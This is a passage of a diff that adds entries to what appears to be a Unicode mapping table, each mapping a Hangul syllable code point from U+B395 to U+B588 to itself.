+ ["\uB395", "\uB395"], /* Hangul Syllable */
+ ["\uB396", "\uB396"], /* Hangul Syllable */
+ ["\uB397", "\uB397"], /* Hangul Syllable */
+ ["\uB398", "\uB398"], /* Hangul Syllable */
+ ["\uB399", "\uB399"], /* Hangul Syllable */
+ ["\uB39A", "\uB39A"], /* Hangul Syllable */
+ ["\uB39B", "\uB39B"], /* Hangul Syllable */
+ ["\uB39C", "\uB39C"], /* Hangul Syllable */
+ ["\uB39D", "\uB39D"], /* Hangul Syllable */
+ ["\uB39E", "\uB39E"], /* Hangul Syllable */
+ ["\uB39F", "\uB39F"], /* Hangul Syllable */
+ ["\uB3A0", "\uB3A0"], /* Hangul Syllable */
+ ["\uB3A1", "\uB3A1"], /* Hangul Syllable */
+ ["\uB3A2", "\uB3A2"], /* Hangul Syllable */
+ ["\uB3A3", "\uB3A3"], /* Hangul Syllable */
+ ["\uB3A4", "\uB3A4"], /* Hangul Syllable */
+ ["\uB3A5", "\uB3A5"], /* Hangul Syllable */
+ ["\uB3A6", "\uB3A6"], /* Hangul Syllable */
+ ["\uB3A7", "\uB3A7"], /* Hangul Syllable */
+ ["\uB3A8", "\uB3A8"], /* Hangul Syllable */
+ ["\uB3A9", "\uB3A9"], /* Hangul Syllable */
+ ["\uB3AA", "\uB3AA"], /* Hangul Syllable */
+ ["\uB3AB", "\uB3AB"], /* Hangul Syllable */
+ ["\uB3AC", "\uB3AC"], /* Hangul Syllable */
+ ["\uB3AD", "\uB3AD"], /* Hangul Syllable */
+ ["\uB3AE", "\uB3AE"], /* Hangul Syllable */
+ ["\uB3AF", "\uB3AF"], /* Hangul Syllable */
+ ["\uB3B0", "\uB3B0"], /* Hangul Syllable */
+ ["\uB3B1", "\uB3B1"], /* Hangul Syllable */
+ ["\uB3B2", "\uB3B2"], /* Hangul Syllable */
+ ["\uB3B3", "\uB3B3"], /* Hangul Syllable */
+ ["\uB3B4", "\uB3B4"], /* Hangul Syllable */
+ ["\uB3B5", "\uB3B5"], /* Hangul Syllable */
+ ["\uB3B6", "\uB3B6"], /* Hangul Syllable */
+ ["\uB3B7", "\uB3B7"], /* Hangul Syllable */
+ ["\uB3B8", "\uB3B8"], /* Hangul Syllable */
+ ["\uB3B9", "\uB3B9"], /* Hangul Syllable */
+ ["\uB3BA", "\uB3BA"], /* Hangul Syllable */
+ ["\uB3BB", "\uB3BB"], /* Hangul Syllable */
+ ["\uB3BC", "\uB3BC"], /* Hangul Syllable */
+ ["\uB3BD", "\uB3BD"], /* Hangul Syllable */
+ ["\uB3BE", "\uB3BE"], /* Hangul Syllable */
+ ["\uB3BF", "\uB3BF"], /* Hangul Syllable */
+ ["\uB3C0", "\uB3C0"], /* Hangul Syllable */
+ ["\uB3C1", "\uB3C1"], /* Hangul Syllable */
+ ["\uB3C2", "\uB3C2"], /* Hangul Syllable */
+ ["\uB3C3", "\uB3C3"], /* Hangul Syllable */
+ ["\uB3C4", "\uB3C4"], /* Hangul Syllable */
+ ["\uB3C5", "\uB3C5"], /* Hangul Syllable */
+ ["\uB3C6", "\uB3C6"], /* Hangul Syllable */
+ ["\uB3C7", "\uB3C7"], /* Hangul Syllable */
+ ["\uB3C8", "\uB3C8"], /* Hangul Syllable */
+ ["\uB3C9", "\uB3C9"], /* Hangul Syllable */
+ ["\uB3CA", "\uB3CA"], /* Hangul Syllable */
+ ["\uB3CB", "\uB3CB"], /* Hangul Syllable */
+ ["\uB3CC", "\uB3CC"], /* Hangul Syllable */
+ ["\uB3CD", "\uB3CD"], /* Hangul Syllable */
+ ["\uB3CE", "\uB3CE"], /* Hangul Syllable */
+ ["\uB3CF", "\uB3CF"], /* Hangul Syllable */
+ ["\uB3D0", "\uB3D0"], /* Hangul Syllable */
+ ["\uB3D1", "\uB3D1"], /* Hangul Syllable */
+ ["\uB3D2", "\uB3D2"], /* Hangul Syllable */
+ ["\uB3D3", "\uB3D3"], /* Hangul Syllable */
+ ["\uB3D4", "\uB3D4"], /* Hangul Syllable */
+ ["\uB3D5", "\uB3D5"], /* Hangul Syllable */
+ ["\uB3D6", "\uB3D6"], /* Hangul Syllable */
+ ["\uB3D7", "\uB3D7"], /* Hangul Syllable */
+ ["\uB3D8", "\uB3D8"], /* Hangul Syllable */
+ ["\uB3D9", "\uB3D9"], /* Hangul Syllable */
+ ["\uB3DA", "\uB3DA"], /* Hangul Syllable */
+ ["\uB3DB", "\uB3DB"], /* Hangul Syllable */
+ ["\uB3DC", "\uB3DC"], /* Hangul Syllable */
+ ["\uB3DD", "\uB3DD"], /* Hangul Syllable */
+ ["\uB3DE", "\uB3DE"], /* Hangul Syllable */
+ ["\uB3DF", "\uB3DF"], /* Hangul Syllable */
+ ["\uB3E0", "\uB3E0"], /* Hangul Syllable */
+ ["\uB3E1", "\uB3E1"], /* Hangul Syllable */
+ ["\uB3E2", "\uB3E2"], /* Hangul Syllable */
+ ["\uB3E3", "\uB3E3"], /* Hangul Syllable */
+ ["\uB3E4", "\uB3E4"], /* Hangul Syllable */
+ ["\uB3E5", "\uB3E5"], /* Hangul Syllable */
+ ["\uB3E6", "\uB3E6"], /* Hangul Syllable */
+ ["\uB3E7", "\uB3E7"], /* Hangul Syllable */
+ ["\uB3E8", "\uB3E8"], /* Hangul Syllable */
+ ["\uB3E9", "\uB3E9"], /* Hangul Syllable */
+ ["\uB3EA", "\uB3EA"], /* Hangul Syllable */
+ ["\uB3EB", "\uB3EB"], /* Hangul Syllable */
+ ["\uB3EC", "\uB3EC"], /* Hangul Syllable */
+ ["\uB3ED", "\uB3ED"], /* Hangul Syllable */
+ ["\uB3EE", "\uB3EE"], /* Hangul Syllable */
+ ["\uB3EF", "\uB3EF"], /* Hangul Syllable */
+ ["\uB3F0", "\uB3F0"], /* Hangul Syllable */
+ ["\uB3F1", "\uB3F1"], /* Hangul Syllable */
+ ["\uB3F2", "\uB3F2"], /* Hangul Syllable */
+ ["\uB3F3", "\uB3F3"], /* Hangul Syllable */
+ ["\uB3F4", "\uB3F4"], /* Hangul Syllable */
+ ["\uB3F5", "\uB3F5"], /* Hangul Syllable */
+ ["\uB3F6", "\uB3F6"], /* Hangul Syllable */
+ ["\uB3F7", "\uB3F7"], /* Hangul Syllable */
+ ["\uB3F8", "\uB3F8"], /* Hangul Syllable */
+ ["\uB3F9", "\uB3F9"], /* Hangul Syllable */
+ ["\uB3FA", "\uB3FA"], /* Hangul Syllable */
+ ["\uB3FB", "\uB3FB"], /* Hangul Syllable */
+ ["\uB3FC", "\uB3FC"], /* Hangul Syllable */
+ ["\uB3FD", "\uB3FD"], /* Hangul Syllable */
+ ["\uB3FE", "\uB3FE"], /* Hangul Syllable */
+ ["\uB3FF", "\uB3FF"], /* Hangul Syllable */
+ ["\uB400", "\uB400"], /* Hangul Syllable */
+ ["\uB401", "\uB401"], /* Hangul Syllable */
+ ["\uB402", "\uB402"], /* Hangul Syllable */
+ ["\uB403", "\uB403"], /* Hangul Syllable */
+ ["\uB404", "\uB404"], /* Hangul Syllable */
+ ["\uB405", "\uB405"], /* Hangul Syllable */
+ ["\uB406", "\uB406"], /* Hangul Syllable */
+ ["\uB407", "\uB407"], /* Hangul Syllable */
+ ["\uB408", "\uB408"], /* Hangul Syllable */
+ ["\uB409", "\uB409"], /* Hangul Syllable */
+ ["\uB40A", "\uB40A"], /* Hangul Syllable */
+ ["\uB40B", "\uB40B"], /* Hangul Syllable */
+ ["\uB40C", "\uB40C"], /* Hangul Syllable */
+ ["\uB40D", "\uB40D"], /* Hangul Syllable */
+ ["\uB40E", "\uB40E"], /* Hangul Syllable */
+ ["\uB40F", "\uB40F"], /* Hangul Syllable */
+ ["\uB410", "\uB410"], /* Hangul Syllable */
+ ["\uB411", "\uB411"], /* Hangul Syllable */
+ ["\uB412", "\uB412"], /* Hangul Syllable */
+ ["\uB413", "\uB413"], /* Hangul Syllable */
+ ["\uB414", "\uB414"], /* Hangul Syllable */
+ ["\uB415", "\uB415"], /* Hangul Syllable */
+ ["\uB416", "\uB416"], /* Hangul Syllable */
+ ["\uB417", "\uB417"], /* Hangul Syllable */
+ ["\uB418", "\uB418"], /* Hangul Syllable */
+ ["\uB419", "\uB419"], /* Hangul Syllable */
+ ["\uB41A", "\uB41A"], /* Hangul Syllable */
+ ["\uB41B", "\uB41B"], /* Hangul Syllable */
+ ["\uB41C", "\uB41C"], /* Hangul Syllable */
+ ["\uB41D", "\uB41D"], /* Hangul Syllable */
+ ["\uB41E", "\uB41E"], /* Hangul Syllable */
+ ["\uB41F", "\uB41F"], /* Hangul Syllable */
+ ["\uB420", "\uB420"], /* Hangul Syllable */
+ ["\uB421", "\uB421"], /* Hangul Syllable */
+ ["\uB422", "\uB422"], /* Hangul Syllable */
+ ["\uB423", "\uB423"], /* Hangul Syllable */
+ ["\uB424", "\uB424"], /* Hangul Syllable */
+ ["\uB425", "\uB425"], /* Hangul Syllable */
+ ["\uB426", "\uB426"], /* Hangul Syllable */
+ ["\uB427", "\uB427"], /* Hangul Syllable */
+ ["\uB428", "\uB428"], /* Hangul Syllable */
+ ["\uB429", "\uB429"], /* Hangul Syllable */
+ ["\uB42A", "\uB42A"], /* Hangul Syllable */
+ ["\uB42B", "\uB42B"], /* Hangul Syllable */
+ ["\uB42C", "\uB42C"], /* Hangul Syllable */
+ ["\uB42D", "\uB42D"], /* Hangul Syllable */
+ ["\uB42E", "\uB42E"], /* Hangul Syllable */
+ ["\uB42F", "\uB42F"], /* Hangul Syllable */
+ ["\uB430", "\uB430"], /* Hangul Syllable */
+ ["\uB431", "\uB431"], /* Hangul Syllable */
+ ["\uB432", "\uB432"], /* Hangul Syllable */
+ ["\uB433", "\uB433"], /* Hangul Syllable */
+ ["\uB434", "\uB434"], /* Hangul Syllable */
+ ["\uB435", "\uB435"], /* Hangul Syllable */
+ ["\uB436", "\uB436"], /* Hangul Syllable */
+ ["\uB437", "\uB437"], /* Hangul Syllable */
+ ["\uB438", "\uB438"], /* Hangul Syllable */
+ ["\uB439", "\uB439"], /* Hangul Syllable */
+ ["\uB43A", "\uB43A"], /* Hangul Syllable */
+ ["\uB43B", "\uB43B"], /* Hangul Syllable */
+ ["\uB43C", "\uB43C"], /* Hangul Syllable */
+ ["\uB43D", "\uB43D"], /* Hangul Syllable */
+ ["\uB43E", "\uB43E"], /* Hangul Syllable */
+ ["\uB43F", "\uB43F"], /* Hangul Syllable */
+ ["\uB440", "\uB440"], /* Hangul Syllable */
+ ["\uB441", "\uB441"], /* Hangul Syllable */
+ ["\uB442", "\uB442"], /* Hangul Syllable */
+ ["\uB443", "\uB443"], /* Hangul Syllable */
+ ["\uB444", "\uB444"], /* Hangul Syllable */
+ ["\uB445", "\uB445"], /* Hangul Syllable */
+ ["\uB446", "\uB446"], /* Hangul Syllable */
+ ["\uB447", "\uB447"], /* Hangul Syllable */
+ ["\uB448", "\uB448"], /* Hangul Syllable */
+ ["\uB449", "\uB449"], /* Hangul Syllable */
+ ["\uB44A", "\uB44A"], /* Hangul Syllable */
+ ["\uB44B", "\uB44B"], /* Hangul Syllable */
+ ["\uB44C", "\uB44C"], /* Hangul Syllable */
+ ["\uB44D", "\uB44D"], /* Hangul Syllable */
+ ["\uB44E", "\uB44E"], /* Hangul Syllable */
+ ["\uB44F", "\uB44F"], /* Hangul Syllable */
+ ["\uB450", "\uB450"], /* Hangul Syllable */
+ ["\uB451", "\uB451"], /* Hangul Syllable */
+ ["\uB452", "\uB452"], /* Hangul Syllable */
+ ["\uB453", "\uB453"], /* Hangul Syllable */
+ ["\uB454", "\uB454"], /* Hangul Syllable */
+ ["\uB455", "\uB455"], /* Hangul Syllable */
+ ["\uB456", "\uB456"], /* Hangul Syllable */
+ ["\uB457", "\uB457"], /* Hangul Syllable */
+ ["\uB458", "\uB458"], /* Hangul Syllable */
+ ["\uB459", "\uB459"], /* Hangul Syllable */
+ ["\uB45A", "\uB45A"], /* Hangul Syllable */
+ ["\uB45B", "\uB45B"], /* Hangul Syllable */
+ ["\uB45C", "\uB45C"], /* Hangul Syllable */
+ ["\uB45D", "\uB45D"], /* Hangul Syllable */
+ ["\uB45E", "\uB45E"], /* Hangul Syllable */
+ ["\uB45F", "\uB45F"], /* Hangul Syllable */
+ ["\uB460", "\uB460"], /* Hangul Syllable */
+ ["\uB461", "\uB461"], /* Hangul Syllable */
+ ["\uB462", "\uB462"], /* Hangul Syllable */
+ ["\uB463", "\uB463"], /* Hangul Syllable */
+ ["\uB464", "\uB464"], /* Hangul Syllable */
+ ["\uB465", "\uB465"], /* Hangul Syllable */
+ ["\uB466", "\uB466"], /* Hangul Syllable */
+ ["\uB467", "\uB467"], /* Hangul Syllable */
+ ["\uB468", "\uB468"], /* Hangul Syllable */
+ ["\uB469", "\uB469"], /* Hangul Syllable */
+ ["\uB46A", "\uB46A"], /* Hangul Syllable */
+ ["\uB46B", "\uB46B"], /* Hangul Syllable */
+ ["\uB46C", "\uB46C"], /* Hangul Syllable */
+ ["\uB46D", "\uB46D"], /* Hangul Syllable */
+ ["\uB46E", "\uB46E"], /* Hangul Syllable */
+ ["\uB46F", "\uB46F"], /* Hangul Syllable */
+ ["\uB470", "\uB470"], /* Hangul Syllable */
+ ["\uB471", "\uB471"], /* Hangul Syllable */
+ ["\uB472", "\uB472"], /* Hangul Syllable */
+ ["\uB473", "\uB473"], /* Hangul Syllable */
+ ["\uB474", "\uB474"], /* Hangul Syllable */
+ ["\uB475", "\uB475"], /* Hangul Syllable */
+ ["\uB476", "\uB476"], /* Hangul Syllable */
+ ["\uB477", "\uB477"], /* Hangul Syllable */
+ ["\uB478", "\uB478"], /* Hangul Syllable */
+ ["\uB479", "\uB479"], /* Hangul Syllable */
+ ["\uB47A", "\uB47A"], /* Hangul Syllable */
+ ["\uB47B", "\uB47B"], /* Hangul Syllable */
+ ["\uB47C", "\uB47C"], /* Hangul Syllable */
+ ["\uB47D", "\uB47D"], /* Hangul Syllable */
+ ["\uB47E", "\uB47E"], /* Hangul Syllable */
+ ["\uB47F", "\uB47F"], /* Hangul Syllable */
+ ["\uB480", "\uB480"], /* Hangul Syllable */
+ ["\uB481", "\uB481"], /* Hangul Syllable */
+ ["\uB482", "\uB482"], /* Hangul Syllable */
+ ["\uB483", "\uB483"], /* Hangul Syllable */
+ ["\uB484", "\uB484"], /* Hangul Syllable */
+ ["\uB485", "\uB485"], /* Hangul Syllable */
+ ["\uB486", "\uB486"], /* Hangul Syllable */
+ ["\uB487", "\uB487"], /* Hangul Syllable */
+ ["\uB488", "\uB488"], /* Hangul Syllable */
+ ["\uB489", "\uB489"], /* Hangul Syllable */
+ ["\uB48A", "\uB48A"], /* Hangul Syllable */
+ ["\uB48B", "\uB48B"], /* Hangul Syllable */
+ ["\uB48C", "\uB48C"], /* Hangul Syllable */
+ ["\uB48D", "\uB48D"], /* Hangul Syllable */
+ ["\uB48E", "\uB48E"], /* Hangul Syllable */
+ ["\uB48F", "\uB48F"], /* Hangul Syllable */
+ ["\uB490", "\uB490"], /* Hangul Syllable */
+ ["\uB491", "\uB491"], /* Hangul Syllable */
+ ["\uB492", "\uB492"], /* Hangul Syllable */
+ ["\uB493", "\uB493"], /* Hangul Syllable */
+ ["\uB494", "\uB494"], /* Hangul Syllable */
+ ["\uB495", "\uB495"], /* Hangul Syllable */
+ ["\uB496", "\uB496"], /* Hangul Syllable */
+ ["\uB497", "\uB497"], /* Hangul Syllable */
+ ["\uB498", "\uB498"], /* Hangul Syllable */
+ ["\uB499", "\uB499"], /* Hangul Syllable */
+ ["\uB49A", "\uB49A"], /* Hangul Syllable */
+ ["\uB49B", "\uB49B"], /* Hangul Syllable */
+ ["\uB49C", "\uB49C"], /* Hangul Syllable */
+ ["\uB49D", "\uB49D"], /* Hangul Syllable */
+ ["\uB49E", "\uB49E"], /* Hangul Syllable */
+ ["\uB49F", "\uB49F"], /* Hangul Syllable */
+ ["\uB4A0", "\uB4A0"], /* Hangul Syllable */
+ ["\uB4A1", "\uB4A1"], /* Hangul Syllable */
+ ["\uB4A2", "\uB4A2"], /* Hangul Syllable */
+ ["\uB4A3", "\uB4A3"], /* Hangul Syllable */
+ ["\uB4A4", "\uB4A4"], /* Hangul Syllable */
+ ["\uB4A5", "\uB4A5"], /* Hangul Syllable */
+ ["\uB4A6", "\uB4A6"], /* Hangul Syllable */
+ ["\uB4A7", "\uB4A7"], /* Hangul Syllable */
+ ["\uB4A8", "\uB4A8"], /* Hangul Syllable */
+ ["\uB4A9", "\uB4A9"], /* Hangul Syllable */
+ ["\uB4AA", "\uB4AA"], /* Hangul Syllable */
+ ["\uB4AB", "\uB4AB"], /* Hangul Syllable */
+ ["\uB4AC", "\uB4AC"], /* Hangul Syllable */
+ ["\uB4AD", "\uB4AD"], /* Hangul Syllable */
+ ["\uB4AE", "\uB4AE"], /* Hangul Syllable */
+ ["\uB4AF", "\uB4AF"], /* Hangul Syllable */
+ ["\uB4B0", "\uB4B0"], /* Hangul Syllable */
+ ["\uB4B1", "\uB4B1"], /* Hangul Syllable */
+ ["\uB4B2", "\uB4B2"], /* Hangul Syllable */
+ ["\uB4B3", "\uB4B3"], /* Hangul Syllable */
+ ["\uB4B4", "\uB4B4"], /* Hangul Syllable */
+ ["\uB4B5", "\uB4B5"], /* Hangul Syllable */
+ ["\uB4B6", "\uB4B6"], /* Hangul Syllable */
+ ["\uB4B7", "\uB4B7"], /* Hangul Syllable */
+ ["\uB4B8", "\uB4B8"], /* Hangul Syllable */
+ ["\uB4B9", "\uB4B9"], /* Hangul Syllable */
+ ["\uB4BA", "\uB4BA"], /* Hangul Syllable */
+ ["\uB4BB", "\uB4BB"], /* Hangul Syllable */
+ ["\uB4BC", "\uB4BC"], /* Hangul Syllable */
+ ["\uB4BD", "\uB4BD"], /* Hangul Syllable */
+ ["\uB4BE", "\uB4BE"], /* Hangul Syllable */
+ ["\uB4BF", "\uB4BF"], /* Hangul Syllable */
+ ["\uB4C0", "\uB4C0"], /* Hangul Syllable */
+ ["\uB4C1", "\uB4C1"], /* Hangul Syllable */
+ ["\uB4C2", "\uB4C2"], /* Hangul Syllable */
+ ["\uB4C3", "\uB4C3"], /* Hangul Syllable */
+ ["\uB4C4", "\uB4C4"], /* Hangul Syllable */
+ ["\uB4C5", "\uB4C5"], /* Hangul Syllable */
+ ["\uB4C6", "\uB4C6"], /* Hangul Syllable */
+ ["\uB4C7", "\uB4C7"], /* Hangul Syllable */
+ ["\uB4C8", "\uB4C8"], /* Hangul Syllable */
+ ["\uB4C9", "\uB4C9"], /* Hangul Syllable */
+ ["\uB4CA", "\uB4CA"], /* Hangul Syllable */
+ ["\uB4CB", "\uB4CB"], /* Hangul Syllable */
+ ["\uB4CC", "\uB4CC"], /* Hangul Syllable */
+ ["\uB4CD", "\uB4CD"], /* Hangul Syllable */
+ ["\uB4CE", "\uB4CE"], /* Hangul Syllable */
+ ["\uB4CF", "\uB4CF"], /* Hangul Syllable */
+ ["\uB4D0", "\uB4D0"], /* Hangul Syllable */
+ ["\uB4D1", "\uB4D1"], /* Hangul Syllable */
+ ["\uB4D2", "\uB4D2"], /* Hangul Syllable */
+ ["\uB4D3", "\uB4D3"], /* Hangul Syllable */
+ ["\uB4D4", "\uB4D4"], /* Hangul Syllable */
+ ["\uB4D5", "\uB4D5"], /* Hangul Syllable */
+ ["\uB4D6", "\uB4D6"], /* Hangul Syllable */
+ ["\uB4D7", "\uB4D7"], /* Hangul Syllable */
+ ["\uB4D8", "\uB4D8"], /* Hangul Syllable */
+ ["\uB4D9", "\uB4D9"], /* Hangul Syllable */
+ ["\uB4DA", "\uB4DA"], /* Hangul Syllable */
+ ["\uB4DB", "\uB4DB"], /* Hangul Syllable */
+ ["\uB4DC", "\uB4DC"], /* Hangul Syllable */
+ ["\uB4DD", "\uB4DD"], /* Hangul Syllable */
+ ["\uB4DE", "\uB4DE"], /* Hangul Syllable */
+ ["\uB4DF", "\uB4DF"], /* Hangul Syllable */
+ ["\uB4E0", "\uB4E0"], /* Hangul Syllable */
+ ["\uB4E1", "\uB4E1"], /* Hangul Syllable */
+ ["\uB4E2", "\uB4E2"], /* Hangul Syllable */
+ ["\uB4E3", "\uB4E3"], /* Hangul Syllable */
+ ["\uB4E4", "\uB4E4"], /* Hangul Syllable */
+ ["\uB4E5", "\uB4E5"], /* Hangul Syllable */
+ ["\uB4E6", "\uB4E6"], /* Hangul Syllable */
+ ["\uB4E7", "\uB4E7"], /* Hangul Syllable */
+ ["\uB4E8", "\uB4E8"], /* Hangul Syllable */
+ ["\uB4E9", "\uB4E9"], /* Hangul Syllable */
+ ["\uB4EA", "\uB4EA"], /* Hangul Syllable */
+ ["\uB4EB", "\uB4EB"], /* Hangul Syllable */
+ ["\uB4EC", "\uB4EC"], /* Hangul Syllable */
+ ["\uB4ED", "\uB4ED"], /* Hangul Syllable */
+ ["\uB4EE", "\uB4EE"], /* Hangul Syllable */
+ ["\uB4EF", "\uB4EF"], /* Hangul Syllable */
+ ["\uB4F0", "\uB4F0"], /* Hangul Syllable */
+ ["\uB4F1", "\uB4F1"], /* Hangul Syllable */
+ ["\uB4F2", "\uB4F2"], /* Hangul Syllable */
+ ["\uB4F3", "\uB4F3"], /* Hangul Syllable */
+ ["\uB4F4", "\uB4F4"], /* Hangul Syllable */
+ ["\uB4F5", "\uB4F5"], /* Hangul Syllable */
+ ["\uB4F6", "\uB4F6"], /* Hangul Syllable */
+ ["\uB4F7", "\uB4F7"], /* Hangul Syllable */
+ ["\uB4F8", "\uB4F8"], /* Hangul Syllable */
+ ["\uB4F9", "\uB4F9"], /* Hangul Syllable */
+ ["\uB4FA", "\uB4FA"], /* Hangul Syllable */
+ ["\uB4FB", "\uB4FB"], /* Hangul Syllable */
+ ["\uB4FC", "\uB4FC"], /* Hangul Syllable */
+ ["\uB4FD", "\uB4FD"], /* Hangul Syllable */
+ ["\uB4FE", "\uB4FE"], /* Hangul Syllable */
+ ["\uB4FF", "\uB4FF"], /* Hangul Syllable */
+ ["\uB500", "\uB500"], /* Hangul Syllable */
+ ["\uB501", "\uB501"], /* Hangul Syllable */
+ ["\uB502", "\uB502"], /* Hangul Syllable */
+ ["\uB503", "\uB503"], /* Hangul Syllable */
+ ["\uB504", "\uB504"], /* Hangul Syllable */
+ ["\uB505", "\uB505"], /* Hangul Syllable */
+ ["\uB506", "\uB506"], /* Hangul Syllable */
+ ["\uB507", "\uB507"], /* Hangul Syllable */
+ ["\uB508", "\uB508"], /* Hangul Syllable */
+ ["\uB509", "\uB509"], /* Hangul Syllable */
+ ["\uB50A", "\uB50A"], /* Hangul Syllable */
+ ["\uB50B", "\uB50B"], /* Hangul Syllable */
+ ["\uB50C", "\uB50C"], /* Hangul Syllable */
+ ["\uB50D", "\uB50D"], /* Hangul Syllable */
+ ["\uB50E", "\uB50E"], /* Hangul Syllable */
+ ["\uB50F", "\uB50F"], /* Hangul Syllable */
+ ["\uB510", "\uB510"], /* Hangul Syllable */
+ ["\uB511", "\uB511"], /* Hangul Syllable */
+ ["\uB512", "\uB512"], /* Hangul Syllable */
+ ["\uB513", "\uB513"], /* Hangul Syllable */
+ ["\uB514", "\uB514"], /* Hangul Syllable */
+ ["\uB515", "\uB515"], /* Hangul Syllable */
+ ["\uB516", "\uB516"], /* Hangul Syllable */
+ ["\uB517", "\uB517"], /* Hangul Syllable */
+ ["\uB518", "\uB518"], /* Hangul Syllable */
+ ["\uB519", "\uB519"], /* Hangul Syllable */
+ ["\uB51A", "\uB51A"], /* Hangul Syllable */
+ ["\uB51B", "\uB51B"], /* Hangul Syllable */
+ ["\uB51C", "\uB51C"], /* Hangul Syllable */
+ ["\uB51D", "\uB51D"], /* Hangul Syllable */
+ ["\uB51E", "\uB51E"], /* Hangul Syllable */
+ ["\uB51F", "\uB51F"], /* Hangul Syllable */
+ ["\uB520", "\uB520"], /* Hangul Syllable */
+ ["\uB521", "\uB521"], /* Hangul Syllable */
+ ["\uB522", "\uB522"], /* Hangul Syllable */
+ ["\uB523", "\uB523"], /* Hangul Syllable */
+ ["\uB524", "\uB524"], /* Hangul Syllable */
+ ["\uB525", "\uB525"], /* Hangul Syllable */
+ ["\uB526", "\uB526"], /* Hangul Syllable */
+ ["\uB527", "\uB527"], /* Hangul Syllable */
+ ["\uB528", "\uB528"], /* Hangul Syllable */
+ ["\uB529", "\uB529"], /* Hangul Syllable */
+ ["\uB52A", "\uB52A"], /* Hangul Syllable */
+ ["\uB52B", "\uB52B"], /* Hangul Syllable */
+ ["\uB52C", "\uB52C"], /* Hangul Syllable */
+ ["\uB52D", "\uB52D"], /* Hangul Syllable */
+ ["\uB52E", "\uB52E"], /* Hangul Syllable */
+ ["\uB52F", "\uB52F"], /* Hangul Syllable */
+ ["\uB530", "\uB530"], /* Hangul Syllable */
+ ["\uB531", "\uB531"], /* Hangul Syllable */
+ ["\uB532", "\uB532"], /* Hangul Syllable */
+ ["\uB533", "\uB533"], /* Hangul Syllable */
+ ["\uB534", "\uB534"], /* Hangul Syllable */
+ ["\uB535", "\uB535"], /* Hangul Syllable */
+ ["\uB536", "\uB536"], /* Hangul Syllable */
+ ["\uB537", "\uB537"], /* Hangul Syllable */
+ ["\uB538", "\uB538"], /* Hangul Syllable */
+ ["\uB539", "\uB539"], /* Hangul Syllable */
+ ["\uB53A", "\uB53A"], /* Hangul Syllable */
+ ["\uB53B", "\uB53B"], /* Hangul Syllable */
+ ["\uB53C", "\uB53C"], /* Hangul Syllable */
+ ["\uB53D", "\uB53D"], /* Hangul Syllable */
+ ["\uB53E", "\uB53E"], /* Hangul Syllable */
+ ["\uB53F", "\uB53F"], /* Hangul Syllable */
+ ["\uB540", "\uB540"], /* Hangul Syllable */
+ ["\uB541", "\uB541"], /* Hangul Syllable */
+ ["\uB542", "\uB542"], /* Hangul Syllable */
+ ["\uB543", "\uB543"], /* Hangul Syllable */
+ ["\uB544", "\uB544"], /* Hangul Syllable */
+ ["\uB545", "\uB545"], /* Hangul Syllable */
+ ["\uB546", "\uB546"], /* Hangul Syllable */
+ ["\uB547", "\uB547"], /* Hangul Syllable */
+ ["\uB548", "\uB548"], /* Hangul Syllable */
+ ["\uB549", "\uB549"], /* Hangul Syllable */
+ ["\uB54A", "\uB54A"], /* Hangul Syllable */
+ ["\uB54B", "\uB54B"], /* Hangul Syllable */
+ ["\uB54C", "\uB54C"], /* Hangul Syllable */
+ ["\uB54D", "\uB54D"], /* Hangul Syllable */
+ ["\uB54E", "\uB54E"], /* Hangul Syllable */
+ ["\uB54F", "\uB54F"], /* Hangul Syllable */
+ ["\uB550", "\uB550"], /* Hangul Syllable */
+ ["\uB551", "\uB551"], /* Hangul Syllable */
+ ["\uB552", "\uB552"], /* Hangul Syllable */
+ ["\uB553", "\uB553"], /* Hangul Syllable */
+ ["\uB554", "\uB554"], /* Hangul Syllable */
+ ["\uB555", "\uB555"], /* Hangul Syllable */
+ ["\uB556", "\uB556"], /* Hangul Syllable */
+ ["\uB557", "\uB557"], /* Hangul Syllable */
+ ["\uB558", "\uB558"], /* Hangul Syllable */
+ ["\uB559", "\uB559"], /* Hangul Syllable */
+ ["\uB55A", "\uB55A"], /* Hangul Syllable */
+ ["\uB55B", "\uB55B"], /* Hangul Syllable */
+ ["\uB55C", "\uB55C"], /* Hangul Syllable */
+ ["\uB55D", "\uB55D"], /* Hangul Syllable */
+ ["\uB55E", "\uB55E"], /* Hangul Syllable */
+ ["\uB55F", "\uB55F"], /* Hangul Syllable */
+ ["\uB560", "\uB560"], /* Hangul Syllable */
+ ["\uB561", "\uB561"], /* Hangul Syllable */
+ ["\uB562", "\uB562"], /* Hangul Syllable */
+ ["\uB563", "\uB563"], /* Hangul Syllable */
+ ["\uB564", "\uB564"], /* Hangul Syllable */
+ ["\uB565", "\uB565"], /* Hangul Syllable */
+ ["\uB566", "\uB566"], /* Hangul Syllable */
+ ["\uB567", "\uB567"], /* Hangul Syllable */
+ ["\uB568", "\uB568"], /* Hangul Syllable */
+ ["\uB569", "\uB569"], /* Hangul Syllable */
+ ["\uB56A", "\uB56A"], /* Hangul Syllable */
+ ["\uB56B", "\uB56B"], /* Hangul Syllable */
+ ["\uB56C", "\uB56C"], /* Hangul Syllable */
+ ["\uB56D", "\uB56D"], /* Hangul Syllable */
+ ["\uB56E", "\uB56E"], /* Hangul Syllable */
+ ["\uB56F", "\uB56F"], /* Hangul Syllable */
+ ["\uB570", "\uB570"], /* Hangul Syllable */
+ ["\uB571", "\uB571"], /* Hangul Syllable */
+ ["\uB572", "\uB572"], /* Hangul Syllable */
+ ["\uB573", "\uB573"], /* Hangul Syllable */
+ ["\uB574", "\uB574"], /* Hangul Syllable */
+ ["\uB575", "\uB575"], /* Hangul Syllable */
+ ["\uB576", "\uB576"], /* Hangul Syllable */
+ ["\uB577", "\uB577"], /* Hangul Syllable */
+ ["\uB578", "\uB578"], /* Hangul Syllable */
+ ["\uB579", "\uB579"], /* Hangul Syllable */
+ ["\uB57A", "\uB57A"], /* Hangul Syllable */
+ ["\uB57B", "\uB57B"], /* Hangul Syllable */
+ ["\uB57C", "\uB57C"], /* Hangul Syllable */
+ ["\uB57D", "\uB57D"], /* Hangul Syllable */
+ ["\uB57E", "\uB57E"], /* Hangul Syllable */
+ ["\uB57F", "\uB57F"], /* Hangul Syllable */
+ ["\uB580", "\uB580"], /* Hangul Syllable */
+ ["\uB581", "\uB581"], /* Hangul Syllable */
+ ["\uB582", "\uB582"], /* Hangul Syllable */
+ ["\uB583", "\uB583"], /* Hangul Syllable */
+ ["\uB584", "\uB584"], /* Hangul Syllable */
+ ["\uB585", "\uB585"], /* Hangul Syllable */
+ ["\uB586", "\uB586"], /* Hangul Syllable */
+ ["\uB587", "\uB587"], /* Hangul Syllable */
+ ["\uB588", "\uB588"], /* Hangul Syllable */
